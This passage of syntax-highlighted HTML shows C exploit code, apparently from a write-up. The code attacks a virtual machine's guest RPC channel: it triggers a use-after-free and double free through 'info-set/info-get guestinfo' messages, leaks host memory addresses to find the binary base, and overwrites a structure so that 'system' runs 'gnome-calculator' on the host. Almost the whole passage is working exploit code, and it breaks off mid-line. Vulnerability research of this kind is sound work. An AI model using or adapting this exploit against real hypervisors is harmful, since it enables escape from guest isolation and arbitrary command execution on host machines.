class="n">res</span><span class="p">);</span> 1429 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1430 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1431 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1432 <span class="k">return</span><span class="p">;</span> 1433 <span class="p">}</span> 1434 <span class="n">printf</span><span class="p">(</span><span class="s">"recv len:%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">len</span><span class="p">);</span> 1435 <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1436 <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1437 <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
1438 <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1439 <span class="p">}</span> 1440 <span class="n">printf</span><span class="p">(</span><span class="s">"recv data:%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">data</span><span class="p">);</span> 1441 <span class="c1">//second step free the reply and let the other channel get it.</span> 1442 1443 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1444 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1445 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1446 <span class="k">return</span><span class="p">;</span> 1447 <span class="p">}</span> 1448 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1449 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1450 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1451 <span class="k">return</span><span class="p">;</span> 1452 <span class="p">}</span> 1453 1454 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">)</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span><span class="n">s2</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1455 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1456 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to send data</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1457 <span class="k">return</span><span class="p">;</span> 1458 <span class="p">}</span> 1459 1460 <span class="c1">//free the output buffer</span> 1461 <span class="n">printf</span><span class="p">(</span><span class="s">"Freeing the buffer....,bp:0x5555556DD3EF</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1462 <span class="n">getchar</span><span class="p">();</span> 1463 <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1464 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1465 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv finish1</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1466 <span class="k">return</span><span class="p">;</span> 1467 <span class="p">}</span> 1468 <span class="c1">//finished sending the command, should get the freed buffer</span> 1469 <span class="n">printf</span><span class="p">(</span><span class="s">"Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1470 <span class="n">getchar</span><span class="p">();</span> 1471 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="o">&</span><span class="n">s2</span><span class="p">[</span><span class="mi">16</span><span class="p">],</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1472 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1473 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to send data</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1474 <span class="k">return</span><span class="p">;</span> 1475 <span class="p">}</span> 1476 1477 <span class="c1">//third step,free it again</span> 1478 <span class="c1">//set status to be 4</span> 1479 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1480 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1481 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1482 <span class="k">return</span><span class="p">;</span> 1483 <span class="p">}</span> 1484 <span class="n">printf</span><span class="p">(</span><span class="s">"recv len:%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">len</span><span class="p">);</span> 1485 1486 <span class="c1">//free the output buffer</span> 1487 <span class="n">printf</span><span class="p">(</span><span class="s">"Free the buffer again...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1488 <span class="n">getchar</span><span class="p">();</span> 1489 <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1490 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1491 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv finish2</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1492 <span class="k">return</span><span class="p">;</span> 1493 <span class="p">}</span> 1494 1495 <span class="n">printf</span><span class="p">(</span><span class="s">"Trying to reuse the buffer as a struct, which we can leak..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1496 <span class="n">getchar</span><span class="p">();</span> 1497 <span class="n">run_cmd</span><span class="p">(</span><span class="n">s5</span><span class="p">);</span> 1498 <span class="n">printf</span><span class="p">(</span><span class="s">"Should be done.Check the buffer</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1499 <span class="n">getchar</span><span class="p">();</span> 1500 1501 <span class="c1">//Now the output buffer of chan[1] is used as a struct, which contains many addresses</span> 1502 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1503 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1504 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1505 <span class="k">return</span><span class="p">;</span> 1506 <span class="p">}</span> 1507 1508 1509 <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1510 <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1511 <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span>
1512 <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1513 <span class="p">}</span> 1514 <span class="n">printf</span><span class="p">(</span><span class="s">"recv data:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1515 <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">8</span><span class="p">){</span> 1516 <span class="n">printf</span><span class="p">(</span><span class="s">"recv data:%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> 1517 <span class="p">}</span> 1518 <span class="n">text</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="n">data</span><span class="p">)</span><span class="o">-</span><span class="mh">0xf818d0</span><span class="p">;</span> 1519 1520 <span class="n">printf</span><span class="p">(</span><span class="s">"Leak Success</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1521<span class="p">}</span> 1522 1523<span class="kt">void</span> <span class="nf">exploit</span><span class="p">(){</span> 1524 <span class="c1">//the exploit step is almost the same as the leak ones</span> 1525 <span class="k">struct</span> <span class="n">channel</span> <span class="n">chan</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span> 1526 <span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> 1527 <span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span> 1528 <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span> 1529 <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span> <span class="o">=</span> <span class="s">"info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"</span><span class="p">;</span> 1530 <span class="kt">char</span> <span class="o">*</span><span class="n">s2</span> <span class="o">=</span> <span class="s">"info-get guestinfo.b"</span><span class="p">;</span> 1531 <span class="kt">char</span> <span class="o">*</span><span class="n">s3</span> <span class="o">=</span> <span class="s">"1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"</span><span class="p">;</span> 1532 <span class="kt">char</span> <span class="o">*</span><span class="n">s4</span> <span class="o">=</span> <span class="s">"gnome-calculator</span><span class="se">\x00</span><span class="s">"</span><span class="p">;</span> 1533 <span class="kt">
1533uint64_t</span> <span class="n">pay1</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xFE95B8</span><span class="p">;</span> 1534 <span class="kt">uint64_t</span> <span class="n">pay2</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xECFD0</span><span class="p">;</span> <span class="c1">//system</span> 1535 <span class="kt">uint64_t</span> <span class="n">pay3</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xFE95C8</span><span class="p">;</span> 1536 <span class="kt">char</span> <span class="o">*</span><span class="n">pay4</span> <span class="o">=</span> <span class="s">"gnome-calculator</span><span class="se">\x00</span><span class="s">"</span><span class="p">;</span> 1537 <span class="n">run_cmd</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span> 1538 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1539 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1540 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1541 <span class="k">return</span><span class="p">;</span> 1542 <span class="p">}</span> 1543 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1544 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1545 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1546 <span class="k">return</span><span class="p">;</span> 1547 <span class="p">}</span> 1548 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="n">s2</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1549 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1550 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1551 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1552 <span class="k">return</span><span class="p">;</span> 1553 <span class="p">}</span> 1554 <span class="n">printf</span><span class="p">(</span><span class="s">"recv len:%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">len</span><span class="p">);</span> 1555 <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1556 <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1557 <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span> 1558 <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1559 <span class="p">}</span> 1560 <span class="n">printf</span><span class="p">(</span><span class="s">"recv data:%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">data</span><span class="p">);</span> 1561 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1562 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1563 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1564 <span class="k">return</span><span class="p">;</span> 1565 <span class="p">}</span> 1566 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1567 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1568 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1569 <span class="k">return</span><span class="p">;</span> 1570 <span class="p">}</span> 1571 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1572 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1573 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1574 <span class="k">return</span><span class="p">;</span> 1575 <span class="p">}</span> 1576 <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1577 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1578 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv finish2</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1579 <span class="k">return</span><span class="p">;</span> 1580 <span class="p">}</span> 1581 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1582 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1583 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1584 <span class="k">return</span><span class="p">;</span> 1585 <span class="p">}</span> 1586 <span class="n">printf</span><span class="p">(</span><span class="s">"leak2 success</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1587 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1588 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1589 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1590 <span class="k">return</span><span class="p">;</span> 1591 <span class="p">}</span> 1592 <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1593 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1594 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv finish2</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1595 <span class="k">return</span><span class="p">;</span> 1596 <span class="p">}</span> 1597 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="o">&</span><span class="n">pay1</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1598 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1599 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1600 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1601 <span class="k">return</span><span class="p">;</span> 1602 <span class="p">}</span> 1603 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1604 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="o">&</span><span class="n">pay2</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1605 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span 